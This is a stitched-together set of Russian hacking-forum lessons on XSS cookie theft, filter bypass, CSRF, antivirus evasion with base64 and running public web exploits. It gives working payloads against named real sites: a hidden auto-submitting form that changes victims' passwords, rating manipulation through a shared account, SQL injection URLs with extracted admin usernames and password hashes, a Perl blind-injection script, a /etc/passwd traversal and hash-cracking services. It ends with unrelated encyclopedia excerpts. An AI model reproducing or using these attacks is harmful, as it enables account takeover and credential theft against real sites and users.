Инструменты---Настройки---Дополнительно---Cookies---Управление Cookies---(находим тот сайт которого кукисы нам нужно подменить)открываем эту папку --- Выделяем Кукисы (которые были в этой папке) --- Изменить и дальше изменяем....
В нашем случае в поле Имя это будет
PHPSESSID
А значение
cb5185cf87ea38c06fec30afb4622fcf
Сохраняем.....и жмём Ок....
3)После чего Обновляем страничку и видим что мы под атакуемым пользователем)))вернее под поражонным пользователем.....
Посмотреть под каким вы пользователем сейчас идите можно так http://shurem.ru/user_inf.php

_______________________________________________________________________________________

Я рассмотрел только один способ своровать Кукисы ....а их там мы с вами нашли 4....
//надеюсь встретив в дальнейшем такую уязвимость вы сможете её применять......

Теперь немножечко поговорим о фильтрыах и методах обхода.....
Фильтры используются для того чтобы обезопасить свой ресурс от таких нелепых ошибок.....которые могут привести к тому что вы захватите админку.

Фильтров очень много .....=) и для каждого нужен собственный подход.....

Рассмотрим несколько способов обхода .....
1)Этот способ я уже описывал выше...
про то что можно "закодировать" запрос в URL ......
Этот способ особенно актуален для обхода фильтрации знаков  "  '  < > / . итд.
2)Это по другому сформулировать запрос.....
Допустим заприщены слова <sсriрt> и </sсriрt>
Тогда заменим их на вот такой запрос....

<hr style=`background:url(javasсriрt:alert('xss')\;alert('xss'))`>

3)Иногда программеры со своими фильтрами до такой степени задалбываются ....что тупо прописывают комбинации которые нельзя писать....
Пример: <sсriрt> и </sсriрt> фильтр может отфильтровать эти запросы.....потому как они строго прописанны....
А если написать <sсriрt> и </sсriрt> то их он пропустит.....

4)
Я бы мог вам еще мог долго рассказывать как можно обойти фильтрацию.....но не буду ...так как очень много примеров уже написали до меня.....
(и которые я  сам заимствую)
Поэтому кому будет интересно посмотрите различные виды обхода Фильтров.....тут
http://www.xaker.name/forvb/showthread.php?t=6235
http://www.ua-admin.com/ru/hackzone/pri … amp;cat=19
http://old.antichat.ru/crackchat/HTML/
http://www.dsec.ru/about/articles/web_xss/  //обязательно посмотрите ибо помогает обходить фильтрацию скриптов при помощи изображения =)

Наконец что же за скрипты мы такие впихивали ....=-) и на чём они написанны.....раскрою секрет мы использовали javasсriрt`ы  для использования и нахождения этой уязвимости. (XSS)

Заключение.

В этом уроке мы с вами узнали о
1)Таком виде атаки как XSS
2)На практике узнали как можно использовать пасивные и активные XSS
3)Научились искать уязвимости связанные с XSS
4)Узнали что такое Cookies
5)На практике поменяли украденные Кукисы.
6)Знаем что такое фильтры и как с ним стараться бороться....
7)Теперь мы можем не бояться за свою приватность в сети....или в то время когда мы ломаем сайт....так как знаем что за зверь Tor....

_________________________________________________________________________________

Ну собственно всё.
На самом деле мог бы и лучше написать....так что зарание извиняюсь....но вы сами прикиньте 2 раза переписывать и всё время ход мысли идёт по разному.....
Надеюсь из этого урока вы узнаете что то новое.
Удачи.
Кстати о рейтинге ...сегодня про него я тоже скажу ))))

Но это не самое главное о чём сегодня пойдёт речь.....ведь теперь я затрону такою вещь как XSRF
_______________________________________________________

Урок 11.

XSRF

aka (also known as) Cross Site Request Forgery
Эта уязвимость мега крутая.....=)

Суть её заключается в том....что сайт при выполнении определённых действий со стороны пользователя не проверяет откуда пришёл запрос на это действие.....
Приведу пример чтобы было понятнее.....
Допустим вы сидите vkontakte и вас попросил друг (видя то что вы сидите сейчас в контакте) перейди на его сайт с супер пупер картинкой...или еще с чем....
Вы переходите.....и в это же время от вас отправляется сообщение одному из ваших друзей "Ты дурак ,и всё тут".
//Но вы не думайте это не все возможности XSRF }=)

Первым делом с чего я бы начал....это с создания....

Площадка для тестирования

Для того чтобы поднять свой уровень....нам нужно всё применять на практике.....и первое с чего я начну ....это с регистрации хостинга....

Для  этого урока нам понадобится банальная поддержка html страничек....так что обайдёмся narod.ru

И так...надеюсь с регистрацией всё прошло успешно....
После того как вы заригистрировались...вы можете создавать свой сайт.....

Для того чтобы создать его мы проделвыаем следующие действия
1)После того как вы вошли в свой аккаунт заходим сюда http://narod.yandex.ru/
2)Идём в Мастерскую (Мастерская)
3)Там где вы видете "Редактирование и Управление" нажмите "Управление файлами и HTML редактор"

И так мы поплаи в админку.
Здесь можно удалять....перемещать создавать.....папки и файлы......

Выделим создадим для нашего урока отдельную папку.... и назовём её "test"
Сделать это можно нажав "Создать папку" //далее даёте ей название

После чего в этой папке мы и будем химичить }=)
________________________________________________________________________________________________________________

Теперь перейдём непосредственно к уязвимости.....её очень легко реализовать если ты знаешь html , а собственно такие тэги как
<input ...>
<form> </form>
Если кто не успел с ними познакомиться то вот вам ссылки
http://www.htmlbook.ru/html/input.html
http://www.htmlbook.ru/html/form.html

Практика.

И первое с чего мы начнём это практика.

Заходим на сайт fa-kit.ru и регистрируемся.

Перейдя вот по http://fa-kit.ru/user_pwd.php этой ссылке (после регистрации)
Вам предоставляется право помянять пароль....
Но мы то с вами заметили , что у нас не запрашивают старый пароль....значит можно попробовать нашу уязвимость.....

Открываем исходный код страницы....и он будет выглядеть так.....
______________________________________________________________________________
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/REC-html40/strict.dtd">
<HTML>
<HEAD>
<META name="Robots" content="all">
<META http-equiv="Cash-Control" content="no-cache">
<META http-equiv="Content-Type" content="text/html; charset=windows-1251" >

<LINK rel='stylesheet' type='text/css' href='main.css'></HEAD>
<bоdу>

<DIV class=title>Изменение пароля пользователя qwerty
</DIV>
<FORM method='POST' action='user_pwd.php'>
<table class="table" align="center">
<tr>
<td class='cell' align='right'><strong>Новый пароль:</strong>

</td>
<td class='cell' align='left'>
<INPUT type='password' name='pass1' id='pass1' class='input' value='' size=12 maxlength=20>
</td>
</tr>
<tr>
<td class='cell' align='right'><strong>Повторите ввод пароля:</strong>
</td>
<td class='cell' align='left'>
<INPUT type='password' name='pass2' id='pass2' class='input' value='' size=12 maxlength=20>
</td>
</tr>
</table>
<DIV class='center'>
<INPUT type='submit' name='submit' id='submit' class='button' value='Принять'>
<INPUT type='button' name='back' id='back' class='button' value='Отменить' onclick='history.back();'>

</DIV>
</FORM></bоdу>
</HTML>
______________________________________________________________________________

Как я уже сказал нам нужны всего то несколько тэгов....это <INPUT и <FORM

Так давайте избавимся от лишнего кода и оставим только нужное.....

_______________________________________________________________________________
<FORM method='POST' action='user_pwd.php'>
<INPUT type='password' name='pass1' id='pass1' class='input' value='' size=12 maxlength=20>
<INPUT type='password' name='pass2' id='pass2' class='input' value='' size=12 maxlength=20>
<INPUT type='submit' name='submit' id='submit' class='button' value='Принять'>
<INPUT type='button' name='back' id='back' class='button' value='Отменить' onclick='history.back();'>
</FORM>

_______________________________________________________________________________
Мы здесь видим что у нас есть 2 поля...куда нужно ввести переменные.....это pass1 и pass2 , а value='' это то куда надо вводить эти переменные....(значение)

Вводим в значение value='qwerty'(будующий пароль) и еще раз подтверждаем этот пароль.....тоесть у нас должно получиться

<FORM method='POST' action='user_pwd.php'>
<INPUT type='password' name='pass1' id='pass1' class='input' value='qwerty' size=12 maxlength=20>
<INPUT type='password' name='pass2' id='pass2' class='input' value='qwerty' size=12 maxlength=20>
<INPUT type='submit' name='submit' id='submit' class='button' value='Принять'>
<INPUT type='button' name='back' id='back' class='button' value='Отменить' onclick='history.back();'>
</FORM>

Далее нам нужно еще подредактировать наш код чтобы
1) Он работал не только с сервера
2) Нужно добиться того , чтобы пользователь не имел вариантов нажатия кнопки.....такие которые мы имеем сейчас..(чтобы он сразу согласился)
<INPUT type='submit' name='submit' id='submit' class='button' value='Принять'>
<INPUT type='button' name='back' id='back' class='button' value='Отменить' onclick='history.back();'>

Чтобы расправиться с первым пунктом.....нам нужно всего лишь поменять вместо
<FORM method='POST' action='user_pwd.php'>
Прописать полный путь к этой страничке....и у нас получится вот так....
<FORM method='POST' action='http://fa-kit.ru/user_pwd.php'>   //эта ошибка очень частая......не забывайте прописывать полный путь....

А для того , чтобы разобраться со вторым пунктом нужно присвоить форме имя....и прописать в <bоdу> авто загрузку этой формы.....(уже без выбора варианта....(тоесть как долженое)

И в конечном итоге у нас получится вот такой код.

<bоdу оnlоаd="document.forms['test'].submit();">      //Здесь используем имя формы для её выполнения(автозагрузки)
<FORM name="test" method='POST' action="http://fa-kit.ru/user_pwd.php">     //как вы видите мы задали имя форме name="test"
<INPUT type='hidden' name='pass1' id='pass1' class='input' value='qwerty'>
<INPUT type='hidden' name='pass2' id='pass2' class='input' value='qwerty'>
</FORM>
</bоdу>

Вот собственно мы с вами и приготовили ядовитый код.....

Если вы вышли с сайта fa-kit.ru
То зайдите еще раз туда.....

Затем сохраните выш написанный код как html страничку.....
И перейдите по ней.....

После чего ваш пароль поменяется....на тот который вы указали дважды в value=''

Теперь вы можете выложить этот html на народ(narod.ru) и если бы у вас был друг на том сайте зарегистрирован.....вы бы подкинули ему ссылку когда он сидит под своим пользователем на этом сайте...и его пароль бы поменялся на тот который вы бы указали

Очень важно чтобы пользователь сидел в это время под своим аккаунтом...когда вы кидаете ему эту ссыку.....

Собственно вся суть этой атаки и заключается в том что человек сидит под своим акком.....и перейдя по ссылке выполняет все действия(прописанные в коде)...которые он бы мог выполнить сам.....при помощи прав его аккаунта.
______________________________________________________________

Так же вы наверное заметили....что слишком уж бросается в глаза всё это....надо бы сделать это более незаметным....

А делается это очень легко.....
Мы просто создаём отдельный файл.....допустим вот с таким содержанием....
<html>
<title>
Good picture
</title>
<bоdу background="1.jpg"> //1.jpg это картинка....для того чтобы заинтирисовать пользователя....
<ifrаmе src="1.html" width="1" height="1"></ifrаmе>
//этим тэгом мы подгружаем страничку....1.html(в ней хранится наш "ядовитый" код) но так как там стаят параметры width="1" height="1" то человек просто ничего не увидит...а внимаельный пользователь увидит маленький квадратик=) это и будет наша страничка с XSRF.
</bоdу>
</html>
_______________________________________________________________________________________

Знаете как это не удивительно....но на forum.xakep.ru тоже присутствует XSRF....
Я уже давно заметил что можно накручивать себе рейтинг...

Ну и я решил попробовать повысить себе рейтинг =)))

Мы все знаем что за сообщение тоже можно ставить +сы и -усы.....и это тебе идёт в рэйтинг......

Так как мне регаться было лень.....(второго пользователя) то я решил воспользоваться паблик пользователем....
Он присутствует во всех популярных сайтах.....(его регают простые пользователи для того чтобы посмотреть скрытые сообщения итд.)
Таким пользователем оказался qazwsx у которого пароль тоже оказался не мудрёный..... кстати посмотрел я его историю...и тот кто под ним сидел...тоже задавал вопросы про XSRF =)))

И собственно я под этим пользователем чего только не мутил с рейтингом))))

Вот как я сформировал XSRF для накрутки рейтинга...

<bоdу оnlоаd="document.forms['proba'].submit();">
<form method="post" action="http://forum.xakep.ru/rating.aspx?action=rate&m=1239766" name="proba">
<input name="rating" type="hidden" value="2"/>
<textarea id="subject" name="subject" rows="7" cols="70" type="hidden">You are supper!!</textarea>
    <input name="m" value="1239766" type="hidden">
    <input name="u" value="0" type="hidden">
    <input name="forumid" value="275" type="hidden">
</form>
</bоdу>

Ну и дам пожалуй пояснение.....
1)http://forum.xakep.ru/rating.aspx?actio … ;m=1239766 это ссылка на то чтобы оценить мой пост....(я её достал пот пользователем qazwsx)
2)value="2" это значение....сколько надо поставить в рейтинг....(оно может быть от 2 до -2) я пробовал поствить 100 не прокатило   
3)Всё что заключается в <textarea></textarea> это приписка (пояснение почему ты поствил такую оценку)
4)value="1239766" это id ссылки(идентификатор) он должен совпадать с "action=rate&m=1239766"

________________________________________________

Кроме этих примеров....при помощи XSRF Вы можете делать накрутку опросов...спамить гостивые книги....посылать от чужого имени сообщения....

Ну и под конец...не зря же мы регались на народе......

создайте файлик....1.html или файлики.....можете продолжить 2.html....
с вот такой начинкой....

<bоdу оnlоаd="document.forms['proba'].submit();">
<form method="post" action="http://forum.xakep.ru/rating.aspx?action=rate&m=1239766" name="proba">
<input name="rating" type="hidden" value="2"/>
<textarea id="subject" name="subject" rows="7" cols="70" type="hidden">You are supper!!</textarea>
        <input name="m" value="1239766" type="hidden">
        <input name="u" value="0" type="hidden">
        <input name="forumid" value="275" type="hidden">
</form>
</bоdу>

Только в место http://forum.xakep.ru/rating.aspx?actio … ;m=1239766 и  value="1239766" подставьте свои значения....их вы можете узнать от пользователя qazwsx...=)))

<?
$cod="JHg9MTA7DQokeT0xMjsNCiR6PSR4KyR5Ow0KZWNobygiJHgrJHk9JHoiKTsNCg==";
echo base64_encode($cod);
?>
----------------------------------------------------------------------------------

То что я выделил тёмно синим это тот же код....только закодированный в base64
А сделать это можно тут http://www.motobit.com/util/base64-decoder-encoder.asp

Как вы видите...я взял закодированный код в переменную ....и при помощи функции base64_encode декодировал....и вывел её...

Таким образом результат не меняется....а антивирус молчит =-)
Так что вы можете экспериментировать на всём.....

Еще пару способов запутать антивирус....это поменять имена переменным....по вставлять хлама....
Прмер: $a=1; $b=3; $a+$b=$z; //хотя мы этого нигде не используем...

Ну и на последок хочу сказать о компилируемых языках....для вас всё выше описанное подходит.....единственное вам прийдётся туго с base64 там надо скачать и подключить специальную библиотеку которую можно найти тут
http://libb64.sourceforge.net/

А и вот еще что....по экспериментируйте с компиляторами...
Иногда компилятор сам работает как криптор =).

Итог

1)Мы с вами узнали что такое Shell код ...и для чего он нужен на практике рассмотрели его в действии.
2)Наконец поняли почему нам надо учить Unix и не просто поставить и любоваться им....а изучать файловую систему и базовые команды.
3)Теперь если нам покажут Shell мы не будем робеть....и скажем....мне этот шелл не нравиться давай лучше поставим....(название шелла)
4)Узнали как устроены антивирусы...и поняли на сколько они не безупречны....шаг в лева шаг в право....и вирус превращается в дружественную программу
5)Познали основы криптографии.... и я уверен , что мои ученики смогут развить все приведённые способы...
6)Узнали про такой вид кодировки как base64 //Более подробно можете прочитать тут http://ru.wikipedia.org/wiki/Base64
7)И самое главное теперь вы будете более уверенно себя чувствовать в Хакерской терминологии.
______________________________________________________________________________________________

Я вас всех поздравляю с Новым Годом!
Желаю вам всего самого лучшего... и чтобы кризис не затронул вас =)
Удачи!

< Сообщение отредактировано Xakep9009 -- 31.12.2008 21:51:58 >
Урок 16.

Эксплойты

Exploit (Эксплойт) - от Английского слова Эксплуатировать, вообще эксплойт это найденная уязвимость которая очень хорошо описана её автором....то есть как правило автор эксплойта пишет скрипт...который нам нужно чуть чуть подредактировать....чтобы мы могли подставить его под свой случай....(Но это определение не подходит под все эксплойты)....видов эксплойтов очень много...и я постараюсь рассмотреть наиболее актуальные для нас. //У нас будет практика и вы 100% поймёте что такое Эксплойты.

Эксплойты используются для взломов сайтов...для получения удалённого доступа к компьютеру через (уязвимую программу\процесс выполняемый на компьютере\сервере атакуемого) или для полного уничтожения цели(компьютера\сайта).

И в этом Уроке я вас больше буду знакомить с Эксплойтами для сайтов.

Теперь я вам открываю секрет....почему быть взломщиком сайтов так не легко...
И почему Хакеры не всегда могут взломать сайты Фашистов.....Геев или Секты.
Всё дело в том...что Никто из перечисленных (ну наверное кроме геев  не делают сами себе сайты....)
В том плане ....что они используют движки.

И тут мы знакомимся с понятием движки (CMS) - это система управления содержимым.
\\более подробно вы можете прочесть [link=http://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D1%81%D0%BE%D0%B4%D0%B5%D1%80%D0%B6%D0%B8%D0%BC%D1%8B%D0%BC]тут[/link]<-

То есть движки....это основа сайта....а всё содержимое уже заполняет её владелец.
А как вы понимаете по началу у движков...всё время находят баги....уязвимости...но как вы понимаете эти движки развиваются...и все свои недочёты закрывают.....образно говоря....кого легче прочитать .....роман Дарьи Данцовой...или Войну и мир?....как вы понимаете это не сопоставимые вещи....
Так и тут кого легче взломать? того кто написал свой движок....или использует чужой...испытанный годами....
(поверьте начинающего программиста легче ломануть, по себе знаю, по началу о безопасности никакой речи не идёт....первым делом идёт речь о функциональности...)

Сейчас я покажу вам примеры самых популярных движков...которые "испытаны годами" и очень часто используются.

1) Joomla -> http://www.seo-joomla.net
2) Datalife engine  -> http://www.nullsoft.cc
3) WordPress -> http://maxsite.org/
4) Ucoz -> http://pokemon-ukraine.ucoz.ua/index/0-22
__________________________________
// Это были движки под сайты.....но не всегда движки предоставляют форумы...и вот популярные движки под форумы.

1) phpbb -> http://www.volchat.ru/forum
2) vBulletin -> http://forumishka.net
3) Invision Power Board (IPB) -> http://forum.exler.ru

//Естественно это отнють не все популярные движки...но нам для примера достаточно.=)

Ну вот мы и познакомились с понятием движки...как вы видите...сайты использующие одинаковые движки ничем не отличаются(по дизайну) кроме картинок...

Вот несколько способов как я определяю какой движок(и иногда версию движка) использует сайт.
1)Первым делом всегда смотрю на конец страницы.
"Создателям" сайта\форума иногда бывает даже лень стереть версию и название движка как допустим в примере с http://forumishka.net/ открываем и смотрим в самый конец страницы ....и видим vBulletin® Version 3.7.1 вот и видим...версию и номер движка.....

2)Потом смотрю на дизайн и так же на логотип(при адресной строке...там картинка маленькая это и есть логотип от форума\сайта)
\\когда немного наберёте опыта, а это будет очень скоро...вы сможете одним взглядом сказать на каком движке расположен тот или иной сайт.

3)После этого я смотрю на исходный код строницы....
Как в примере с http://www.nullsoft.cc ....в мета теге лежит вот что "DataLife Engine Nulled by M.I.D-Team"
\\Опять же опытные Хакеры могут по исходному коду определить не только название, но и версию! этого движка...что очень важно...(версия)

Теперь вы знаете почему не всё так просто...при взломе фашистских сайтов....если бы они делали движок сами.....то у них бы сайтов вообще не существовало... 

Но где плюсы там и минусы....
Так как этот движок может использовать любой проходимец....хакеры этим пользуются и ставят себе этот движок "для тест драйва"(проверки на прочность). И если этот движок не прошёл эту проверку....отсюда появляется Эксплойт! о котором мы сейчас поговорим в плотную!

Самые популярные хакерские сайты где выкладывают самые свежие Эксплойты являются.
http://milw0rm.com
http://www.securitylab.ru

Так же есть поисковик эксплойтов.

http://madnet.name/tools/bugsearch/

Теперь мы знаем где взять эксплойты...
Давайте познакомимся какие виды эксплойтов бывают.

Программыне\процессные эксплойты (эти эксплойты могут осуществляться при определённых условиях, допустим на удалённой машине установлена та или иная программа) проще говоря эти эксплойты написаны для определённых программ\процессов.
//(сюда входят драйверы,установленные программы)

Так же отдельно можно выделить Эксплойты для Браузеров.
Эти эксплойты используются в таких целях
1)Чтобы браузер самостоятельно скачал открыл и запустил программу.
2)Для запудривание мозгов...в статье про фейк я приводил пример ....там где нужно было спрятать ссылку....(чтобы при наведении на ссылку в левом нижнем окне отображалась фейковская ссылка(неправильная))
3)Для отказа браузера в работе.....(чтобы он вылетал...или писал критические ошибки)
4)Так же чтобы ваш браузер перед тем как вы попали на нормальную (вашу ссылку) он переходил по еще 100 штукам))))
\\Пример: Вы заразили свой браузер...и теперь когда вы в адресной строке набираете google.com он переходит по sex.com , nosex.com , nogetro.com итд. и только потом на google.com.
Есть еще много разных видов эксплойтов ...под браузеры...под разные цели...но я назвал основные.

Эксплойты под Операционные Системы.
Эти эксплойты в основном используются для получения удалённого доступа...поднятия прав до привелигерованного пользователя (Администратор\root) или отказа в обслуживании//Смерть системы...

И наконец эксплойты под WEB
Как я уже сказал....сюда входят уязвимости движков.

И в этой категории есть несколько видов(подкатегорий) эксплойтов.

1)XSS
2)XSRF
3)SQL inj
4)php include

Про два из них...вы уже должны хорошо знать....
А вот про 3ий и 4 пункт я вам пока не рассказывал...
__________________________________________________________________________

После долгой Теории без которой вы бы не обошлись....
Переходим к практике

Рассмотрим на примере эксплойта -> XSS \ SQL inj
http://milw0rm.com/exploits/7672 <-вот эксплойт

Восновном ХSS уязвимости рассматриваются в таком виде...
Exploit(XSS):profile.php?user_id=29&auction_id=9[XssCode]  Что означает [Exploit(XSS)] - это всё что идёт до вот этого пути profile.php?user_id=29&auction_id=9

А эта часть [XssCode] это наш ядовитый код))))который мы используем....

В этом эксплойте автор нам любезно привёл пример....
http://www.phpauctions.info/demo/profil … t>alert(1);</sсriрt>
Но это бывает редко....(эксплойты с примерами)

Как мы видим ...в этом эксплойте описано несколько уязвмостей .....и приведён пример с SQL inj

Вот пример.....
[link=http://www.phpauctions.info/demo/profile.php?user_id=-29%20union%20select%201,concat%28id,char%2858%29,username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20PHPAUCTION_adminusers--]http://www.phpauctions.info/demo/profile.php?user_id=-29%20union%20select%201,concat(id,char(58),username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20PHPAUCTION_adminusers--[/link]

перейдя по ссылке вы найдете вот что....
10:admin:0cc1e6f7500e16099a4b17534136f1e1
Это Логин и Хеш от пароля....этого сайта....
admin - это логин , а через точку с запятой расположен хеш.... 0cc1e6f7500e16099a4b17534136f1e1
Этот хешь(масса) закодирован в md5 кодировку....про которую вы можете более подробно узнать тут
http://ru.wikipedia.org/wiki/MD5

Могу сказать...что md5 это моя головная боль))) хеш это предпоследняя стадия взлома.... =) до логина и пароля..админа....
то есть разкодировать хеш....то у нас будет админка сайта....

Сделать это в большинстве случаев можно при помощи online md5 декодеров....вот мои самые любимые
http://gdataonline.com/seekhash.php
https://hashcracking.info/index.php
http://passcracking.com/index.php
______________________________________
Но к сожалению они не всегда дают результат.....поэтому есть еще один вариант ....это скачать программу BarsWF с официального сайта  [link=http://3.14.by/ru/md5%C2%A0]http://3.14.by/ru/md5 [/link] и брутить пароль при помощи этой программы....(на сайте дана инструкция по применению)
//Отдельное спасибо моему другу про то, что он мне о этой проге рассказал.

Так-с поехали дальше....

В этом же эксплойте вы видите...
"Perl Exploit:"
и какой то непонятный скрипт....

Успокойтесь всё не так страшно как вам кажется....=)))
Знакомьтесь! это Перловый скрипт!
Он выполняет такую же функцию как приведённая мною выше SQL inj ....

Но только делает это при помощи скрипта(суть работы скрипта заключается в том....что он выдерает с Базы Данных по символу и мы получаем хеш....)

И так....чтобы запустить скрипт...нам нужно иметь Perl интерпретатор....
Если у вас он есть....это очень хорошо))) А если нету....то вам надо установить его вот отсюда
http://soft.softodrom.ru/scr/get.php?id=478 ActivePerl -> это интерпретатор под Windows

И так... Perl это отличный язык программирования....который не требует компиляци...!
И после того как вы установили ActivePerl ....вы можете пользоваться перловыми эксплойтами!(эксплойты написанные на перл)
Отличительная черна языка Perl от всех остальных....это простота....
Все перловые скрипты начинаются вот с этого....
#!/usr/bin/perl это как определитель...где находится сам интерпретатор....(но вы не пугайтесь....сейчас всё поймете...)

Значит нам нужно чтобы у нас заработал перловый скрипт...
1)Создаём любое_имя.txt файл.
2)Записываем туда скрипт.....(копируем)
____________________________________________________________
#!/usr/bin/perl -w

      use strict;

      use LWP::Simple;

      my $a;

  my $host = "http://www.phpauctions.info/demo/profile.php?user_id=";
  #Тут Может писаться любой сайт...потдерживающи этот скрипт....только учтите
  #Что пишится он доконца...тоесть profile.php?user_id= досюда)))

      my @chars = (48..57, 97..102);

 
      for my $i(1..32) {

         foreach my $ord(@chars) {

         $a =
get($host."1+and+ascii(substring((select+password+from+PHPAUCTION_adminusers+where+id=10),$i,1))=$ord--");

         if($a =~ /coucou/i) {#put the username of the user_id=[id]

           syswrite(STDOUT,chr($ord));

           $i++;

           last;

          }

        }

      }
____________________________________________________________
3)Редактируем код под себя
4)Переименовываем любое_имя.txt в любое_имя.pl //Расширение pl это означает что это перловый файл)
5)Запускаем скрипт.....и у нас в терминале будет появляться (по одной букавке) хеш.....
______________________________________________________
Убедительная просьба....не используйте скрипт до конца....(я имею ввиду....запустите его....посмотрите как он работает (до 3х букв максимум) ибо когда идёт перебор....посылаются "некорректные" запросы...и они остаются в логах у админа....представьте ...если хотя-бы 100 человек попробует этот скрипт до конца....то админ....даже если он лаймер)))всёравно заметит...и закроет дыру.
______________________________________________________

В любом случае я вам просто показал как можно использовать эксплойты написанные на Perl.

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Вы еще что то не поняли....тогда вот еще пример использования эксплойта.....

Рассмотрим следующий эксплойт написанный для joomla!
http://milw0rm.com/exploits/5729

Как вы видите этот эксплойт написан для Joomla которая поддерживает радио или видео.
Так же, если вы заметили , то тут как в первом случае примеров нету...Поэтому я нашёл сам...=)
Примеры использования эксплойта:
1) http://ural-fan.ru/index.php?option=com_joomradio&amp;&amp;page=show_radio&amp;id=-1 UNION SELECT user(),concat(username,0x3a,password),user(),user(),user(),user(),user()%20FROM%20jos_users--
//admin:5983e4c69b1465f771d4c91d265219a5
2)http://www.parustv.com/index2.php?option=com_joomradio&amp;page=show_radio&amp;id=-1 UNION SELECT user(),concat(username,0x3a,password),user(),user(),user(),user(),user()%20FROM%20jos_users--
//4Rolny48:017849559a523a3f0923b91a5347d217
3)http://dwg-web.com/index2.php?option=com_joomradio&amp;page=show_radio&amp;id=-1 UNION SELECT user(),concat(username,0x3a,password),user(),user(),user(),user(),user()%20FROM%20jos_users--
//jackalll:7f3ff651c487439dd340fdcbc7978191

Вот еще один эксплойт для Joomla
http://milw0rm.com/exploits/5300
И как вы можете заметить ....опять для определённого компонента.... "com_cinema"
Вот примеры...
1)http://www.jac64.com/index.php?option=c … ,32,concat(username,0x3a,password)/**/from/**/jos_users/*
//admin:3d1c26bc6bf804e7ade03bed7438c1cc
2)http://www.horror.it/index.php?option=c … ,32,concat(username,0x3a,password)/**/from/**/jos_users/*
//admin:c67f6752a25481cb01b4cd662be3aa3d

Надеюсь теперь вам стало понятнее....
К сожалению не получилось внятно найти эксплойта на php iclude....(я имею ввиду пример...) а вот эксплойт есть.....
http://milw0rm.com/exploits/7658
Так как вы у меня уже грамотные =) я уверен, что вы разберётесь ...если увидите....что то подобное
Вот пример...
wwwsite.com/admin/admin_words.php?ModName=../../../../../etc/passwd

И вот хорошая статья про PHP include ....
http://www.netzoom.ru/view/533.html

И наконец я вам должен рассказать про то как можно php скрипты открывать через терминал)
Этот способ используют очень часто в мире эксплойтов....вот вам пример такого эксплойта...
http://milw0rm.com/exploits/7611

И так...что нам нужно....
1)Создаём --- Сохраняем экплойт (который приведён выше).Пример  example.php
2)Открываем командную строку
3)Переходим в каталог(директорию), где расположен файл php.exe Так как у вас установлен сервер...для каждого путь индивидуален....у меня этот путь будет C:\WebServers\usr\local\php5 там расположен мой файл php.exe
//Если вы точно не знаете где у вас он расположен прибегаем к поисковику...(Ваш стандартный поисковик файлов)
4)Далее перекидываем файл example.php
5)И прописываем в командной строке...
cd [путь к php.еxe] у меня это будет C:\WebServers\usr\local\php5...
Пример: cd C:\WebServers\usr\local\php5 (жмём энтр)

Следующая команда будет

php.exe example.php

Опять жмём энор и видим ...что этот эксплойт предлагает нам опции....
-u - идонтифекатор пользователя....(у администраторов он обычно под номером 1 )
-s (targen for exploting) -Таргет..это цель....или в нашем случае это сайт... то-есть уязвимый сайт...который мы хотим сломать этим эксплойтом....

Задаём опции
php.exe example.php -s=http:\\site.com\chasti\ -u=1

После того как мы указали правильно параметры...начался брут хеша.....
__________________________________________________________

Итог

1)Мы узнали что такое Exploit и как его используют (для WEB)
2)Узнали почему Хакерам так не легко всё взламывать....и познакомились с понятием "Движок"
3)На практике рассмотрели разные виды эксплойтов под разные движки.
4)Узнали про еще один вид кодирования md5
5)Хоть и чуть чуть....но затронули тему php include (прочитайте ссылку которю я вам дал...)
6)Узнали какие виды эксплойтов бывают....и то что они пишутся под разными языками...(хочу еще добавить ...большинство Эксплойтов пишется под Perl и PHP, так что подумайте какие языки выбирать для обучения .)
7)Ну и наконец научились Запускать эксплойты из под терминала....(Perl & PHP)

_____________________________________________________________________________________________________
Пожалуй самое тяжёлое при написании этого урока ......это было подобрать примеры.....в основном....я ищу уязвимости сам....=)
//Я уверен ,что скоро для вас это тоже станет гораздо удобнее...чем искать експлойты(но знать про них вы обязаны)
Естественно перед этим я проверяю наличие эксплойта...но как правило под то ...что я хочу "позаимствовать" эксплойта нету...
Так же ...мне очень жаль ...что я вас не познакомил с SQL inj перед тем как давать этот урок....=) но я надеюсь что когда мы создадим группу ....уже писать буду не только я ....но и Ученики...либо просто друзья которые захотят писать)))

Надеюсь вы нашли для себя что то новое =)
Удачи!

< Сообщение отредактировано Xakep9009 -- 07.01.2009 2:58:44 >
1),IP-адрес (ай-пи адрес, сокращение от англ. Internet Protocol Address) — уникальный идентификатор (адрес) устройства (обычно компьютера), подключённого к локальной
сети и (или) интернету.IP-адрес представляет собой 32-битовое (по версии IPv4) или 128-битовое (по версии IPv6) двоичное число. Удобной формой записи IP-адреса (IPv4)
является запись в виде четырёх десятичных чисел (от 0 до 255), разделённых точками, например, 192.168.0.1. (или 128.10.2.30 — традиционная десятичная форма
представления адреса, а 10000000 00001010 00000010 00011110 — двоичная форма представления этого же адреса).IP-адреса представляют собой основной тип адресов, на
основании которых сетевой уровень протокола IP передаёт пакеты между сетями. IP-адрес назначается администратором во время конфигурирования компьютеров и
маршрутизаторов.
http://ru.wikipedia.org/wiki/IP-адрес
2).MAC-адрес (от англ. Media Access Control — управление доступом к носителю) — это уникальный идентификатор, сопоставляемый с различными типами оборудования для
компьютерных сетей. Большинство сетевых протоколов канального уровня используют одно из трёх пространств MAC-адресов, управляемых IEEE: MAC-48, EUI-48 и EUI-64.
Адреса в каждом из пространств теоретически должны быть глобально уникальными. Не все протоколы используют MAC-адреса, и не все протоколы, использующие MAC-адреса,
нуждаются в подобной уникальности этих адресов.В широковещательных сетях (таких, как сети на основе Ethernet) MAC-адрес позволяет уникально идентифицировать каждый
узел сети и доставлять данные только этому узлу. Таким образом, MAC-адреса формируют основу сетей на канальном уровне, которую используют протоколы более высокого
(сетевого) уровня. Для преобразования MAC-адресов в адреса сетевого уровня и обратно применяются специальные протоколы (например, ARP и RARP в сетях TCP/IP).
http://ru.wikipedia.org/wiki/MAC-адрес
